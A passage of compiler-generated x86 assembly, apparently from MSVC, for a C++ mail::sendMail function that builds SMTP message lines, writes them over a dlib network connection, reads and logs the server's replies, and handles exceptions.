mov ecx, DWORD PTR tv788[ebp]
mov DWORD PTR tv722[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 27 ; 0000001bH
push OFFSET $SG-68239
mov edx, DWORD PTR tv722[ebp]
push edx
lea eax, DWORD PTR $T151712[ebp]
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv789[ebp], eax
mov ecx, DWORD PTR tv789[ebp]
mov DWORD PTR tv724[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 28 ; 0000001cH
mov edx, DWORD PTR tv724[ebp]
push edx
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@$$QAV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
mov BYTE PTR __$EHRec$[ebp+12], 27 ; 0000001bH
lea ecx, DWORD PTR $T151712[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151711[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 103
lea eax, DWORD PTR _to$[ebp]
push eax
push OFFSET $SG-68242
lea ecx, DWORD PTR $T151715[ebp]
push ecx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv790[ebp], eax
mov edx, DWORD PTR tv790[ebp]
mov DWORD PTR tv726[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 29 ; 0000001dH
push OFFSET $SG-68241
mov eax, DWORD PTR tv726[ebp]
push eax
lea ecx, DWORD PTR $T151716[ebp]
push ecx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv791[ebp], eax
mov edx, DWORD PTR tv791[ebp]
mov DWORD PTR tv728[ebp], edx
mov BYTE PTR __$EHRec$[ebp+12], 30 ; 0000001eH
mov eax, DWORD PTR tv728[ebp]
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+=
mov BYTE PTR __$EHRec$[ebp+12], 29 ; 0000001dH
lea ecx, DWORD PTR $T151716[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151715[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 104
lea ecx, DWORD PTR _subject$[ebp]
push ecx
push OFFSET $SG-68244
lea edx, DWORD PTR $T151719[ebp]
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv792[ebp], eax
mov eax, DWORD PTR tv792[ebp]
mov DWORD PTR tv730[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 31 ; 0000001fH
push OFFSET $SG-68243
mov ecx, DWORD PTR tv730[ebp]
push ecx
lea edx, DWORD PTR $T151720[ebp]
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv793[ebp], eax
mov eax, DWORD PTR tv793[ebp]
mov DWORD PTR tv732[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 32 ; 00000020H
mov ecx, DWORD PTR tv732[ebp]
push ecx
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+=
mov BYTE PTR __$EHRec$[ebp+12], 31 ; 0000001fH
lea ecx, DWORD PTR $T151720[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151719[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 106
push OFFSET $SG-68245
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+=
; Line 108
push OFFSET $SG-68246
lea edx, DWORD PTR _msg$[ebp]
push edx
lea eax, DWORD PTR $T151724[ebp]
push eax
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv794[ebp], eax
mov ecx, DWORD PTR tv794[ebp]
mov DWORD PTR tv734[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 33 ; 00000021H
mov edx, DWORD PTR tv734[ebp]
push edx
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+=
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151724[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 109
push OFFSET $SG-68247
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator+=
; Line 111
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN2@sendMail
; Line 112
mov BYTE PTR $T369518[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369518[ebp]
jmp $LN8@sendMail
$LN2@sendMail:
; Line 114
push 200 ; 000000c8H
push 256 ; 00000100H
lea eax, DWORD PTR _sBuffer$151621[ebp]
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 115
push OFFSET $SG-68248
push OFFSET $SG-68249
lea ecx, DWORD PTR $T151730[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv795[ebp], eax
mov ecx, DWORD PTR tv795[ebp]
mov DWORD PTR tv743[ebp], ecx
mov BYTE PTR __$EHRec$[ebp+12], 34 ; 00000022H
sub esp, 28 ; 0000001cH
mov edx, esp
mov DWORD PTR $T369519[ebp], esp
lea eax, DWORD PTR _sBuffer$151621[ebp]
push eax
mov ecx, DWORD PTR tv743[ebp]
push ecx
push edx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv746[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151730[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 118
push OFFSET $SG-68250
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator=
; Line 119
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
mov esi, eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size
push eax
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data
push eax
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write
cmp eax, esi
je SHORT $LN1@sendMail
; Line 120
mov BYTE PTR $T369520[ebp], 0
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
mov BYTE PTR __$EHRec$[ebp+12], 1
lea ecx, DWORD PTR _to$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 0
lea ecx, DWORD PTR _subject$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR __$EHRec$[ebp+12], -1
lea ecx, DWORD PTR _msg$[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov al, BYTE PTR $T369520[ebp]
jmp $LN8@sendMail
$LN1@sendMail:
; Line 122
push 200 ; 000000c8H
push 256 ; 00000100H
lea edx, DWORD PTR _sBuffer$151621[ebp]
push edx
lea ecx, DWORD PTR _con$151653[ebp]
call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator->
mov ecx, eax
call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read
; Line 123
push OFFSET $SG-68251
push OFFSET $SG-68252
lea ecx, DWORD PTR $T151739[ebp]
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv796[ebp], eax
mov eax, DWORD PTR tv796[ebp]
mov DWORD PTR tv755[ebp], eax
mov BYTE PTR __$EHRec$[ebp+12], 35 ; 00000023H
sub esp, 28 ; 0000001cH
mov ecx, esp
mov DWORD PTR $T369521[ebp], esp
lea edx, DWORD PTR _sBuffer$151621[ebp]
push edx
mov eax, DWORD PTR tv755[ebp]
push eax
push ecx
call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> >
add esp, 12 ; 0000000cH
mov DWORD PTR tv758[ebp], eax
call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message
add esp, 32 ; 00000020H
mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H
lea ecx, DWORD PTR $T151739[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
; Line 125
push 500 ; 000001f4H
lea ecx, DWORD PTR _con$151653[ebp]
push ecx
call ?close_gracefully@dlib@@YAXAAV?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@1@K@Z ; dlib::close_gracefully
add esp, 8
; Line 126
mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH
lea ecx, DWORD PTR _con$151653[ebp]
call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >
mov BYTE PTR __$EHRec$[ebp+12], 7
lea ecx, DWORD PTR _smtp_address$151623[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 6
lea ecx, DWORD PTR _tmpStr$151622[ebp]
call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> >
mov BYTE PTR __$EHRec$[ebp+12], 3
lea ecx, DWORD PTR _config$151618[ebp]
call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::~config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>
jmp $LN10@sendMail
__catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$0:
; Line 129
mov edx, DWORD PTR _e$151744[ebp]
mov eax, DWORD PTR [edx]
mov ecx, DWORD PTR _e$151744[ebp]
mov edx, DWORD PTR [eax+4]
call edx
sub esp, 28 ; 0000001cH
mov ecx, esp
mov DWORD PTR $T369522[ebp], esp
push eax
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv760[ebp], eax
push 129 ; 00000081H
push OFFSET $SG-68253
push OFFSET $SG-68254
call ?error@log@helper@@YAXPBD0JV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; helper::log::error
add esp, 40 ; 00000028H
; Line 130
mov DWORD PTR __$EHRec$[ebp+12], 2
mov eax, __tryend$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$2
ret 0
__catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$1:
; Line 133
sub esp, 28 ; 0000001cH
mov ecx, esp
mov DWORD PTR $T369523[ebp], esp
push OFFSET $SG-68255
call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> >
mov DWORD PTR tv763[ebp], eax
push 133 ; 00000085H
push OFFSET $SG-68256
push OFFSET $SG-68257
